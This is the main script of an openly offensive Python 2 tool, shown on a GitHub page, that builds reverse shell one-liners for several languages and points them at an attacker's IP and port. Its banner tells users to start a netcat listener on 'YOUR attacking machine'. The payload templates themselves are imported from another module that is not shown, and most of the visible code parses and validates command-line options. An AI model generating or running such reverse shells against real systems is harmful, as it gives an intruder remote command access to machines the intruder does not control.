-
Notifications
You must be signed in to change notification settings - Fork 0
/
rsa.py
executable file
·150 lines (123 loc) · 7.38 KB
/
rsa.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
#!/usr/bin/python
from optparse import OptionParser
from core.scripts import *
from core.validators import *
from core.colors import COLORS
def banner():
return """
_____ _____ _ _ _
| __ \ / ____| | | | | /\ | | (_)
| |__) |_____ _____ _ __ ___ ___ | (___ | |__ ___| | | / \ _ __ ___| |__ ___ _____
| _ // _ \ \ / / _ \ '__/ __|/ _ \ \___ \| '_ \ / _ \ | | / /\ \ | '__/ __| '_ \| \ \ / / _ \
| | \ \ __/\ V / __/ | \__ \ __/ ____) | | | | __/ | | / ____ \| | | (__| | | | |\ V / __/
|_| \_\___| \_/ \___|_| |___/\___| |_____/|_| |_|\___|_|_| /_/ \_\_| \___|_| |_|_| \_/ \___|
----[ Version: 0.1 Author: Alexander Kravchenko <UtopiaBe> ]----
----[ Web: https://csi-blog.com GitHub: https://GitHub.com/ ]----
--------------------------------------------------------------------------------------------------
| (1) Reverse Shell One Liners: |
| BASH, PHP, PERL, PYTHON, RUBY, NETCAT, TELNET |
| (2) How to check which Script will work on linux?: |
| user@linux:~ which [bash/php/perl/python/ruby/netcat/telnet] |
| Answer needed: /usr/bin/[script] |
| (3) Don't forget to open correct listener on YOUR attacking machine, such as: nc -nvlp PORT |
| (4) Author assume no liability and not responsible for any damage caused by this program. |
--------------------------------------------------------------------------------------------------
"""
def main():
# Print banner at the start.
# banner()
# Begin with parses.
parser = OptionParser()
# Usage custom message.
parser.usage = banner() + "\nUsage: %prog [options]\n" \
"\nBasic usage: %prog -s <script> -o <os>\n" \
"\tWill create Script without given ip and port address.\n\n" \
"Advanced usage: %prog -s <script> -o <os> -i <ip> -p <port>\n" \
"\tWill create Script with given ip and port address.\n\n" \
"Help: %prog -h, --help\n"
# Set the script options.
parser.add_option("-s", "--script", type="str",
help="bash, php, perl, python, ruby, netcat, telnet",
dest="script")
parser.add_option("-o", "--os", type="str", default="linux",
help="l/linux (default), w/windows",
dest="os")
parser.add_option("-i", "--ip", type="str", default=False,
help="Your listening ip address (optional)",
dest="host")
parser.add_option("-p", "--port", type="str", default=False,
help="Your listening port address (optional)",
dest="port")
(options, args) = parser.parse_args()
# OS string fix to Uppercase
os = ""
if options.os == "w" or options.os == "windows":
os = "Windows"
elif options.os == "l" or options.os == "linux":
os = "Linux"
# If good [script] and [os] arguments provided:
if validateScript(options.script) != 13 and validateScript(options.script) != "" \
and validateOs(options.os) != 13 and validateOs(options.os) != "" and not options.host and not options.port:
msg = COLORS.fg.green + "[+]" + COLORS.reset + " Making '%s' reverse shell for '%s'.\n" \
% (options.script, os) + \
COLORS.fg.red + "[-]" + COLORS.reset + "Advanced: Please remember to change \"ATTACKING-IP\" and PORT!"
createShell(options.script, options.os, None, None, msg)
exit(0)
# If all good arguments provided:
if validateScript(options.script) and validateOs(options.os) and options.host and options.port:
validateHost(options.host, options.port, parser)
if options.os == "w" or options.os == "windows":
os = "Windows"
elif options.os == "l" or options.os == "linux":
os = "Linux"
# If IP and PORT are acceptable.
msg = COLORS.fg.green + "[+]" + COLORS.reset + " Making '%s' reverse shell for '%s'.\n" \
% (options.script, os) + \
COLORS.fg.green + "[+]" + COLORS.reset + " Advanced: will open reverse shell to: %s:%s." \
% (options.host, options.port)
createShell(options.script, options.os, options.host, options.port, msg)
exit(0)
"""
# Basic:
# If bad [script] and [os] arguments provided, or missing.
"""
# If bad [script] and bad [os] arguments provided:
if validateScript(options.script) == 13 and validateOs(options.os) == 13:
parser.error("both arguments are wrong\n\t\t"
"please provide correct arguments")
# If bad [script] and empty [os] arguments provided:
if validateScript(options.script) == 13 and validateOs(options.os) == "":
parser.error("unacceptable [script] argument provided\n\t\t"
"please provide correct -s [script] or --script=[script] argument\n\t\t"
"missing -o [os] or --os=[os] argument")
# If empty [script] and bad [os] arguments provided:
if validateScript(options.script) == "" and validateOs(options.os) == 13:
parser.error("unacceptable [os] argument provided\n\t\t"
"please provide correct -o [os] or --os=[os] argument\n\t\t"
"missing -s [script] or --script=[script] argument")
# If empty [script] and good [os] arguments provided:
if validateScript(options.script) == "" and validateOs(options.os):
parser.error("good [os] argument provided\n\t\t"
"missing -s [script] or --script=[script] argument")
# If good [script] and bad [os] arguments provided:
if validateScript(options.script) and validateOs(options.os) == 13:
parser.error("good [script] argument provided\n\t\t"
"unacceptable [os] argument provided\n\t\t"
"please provide correct -o [os] or --os=[os] argument")
# If bad [script] and good [os] arguments provided:
if validateScript(options.script) == 13 and validateOs(options.os):
parser.error("good [os] argument provided\n\t\t"
"unacceptable [script] argument provided\n\t\t"
"please provide correct -s [script] or --script=[script] argument")
# If good [script] and empty [os] arguments provided:
if validateScript(options.script) and validateOs(options.os) == "":
parser.error("good [script] argument provided\n\t\t"""
"missing -o [os] or --os=[os] argument")
# If no arguments provided:
if not options.script and not options.os:
parser.error("no arguments were given")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print "Keyboard Interrupt: exiting."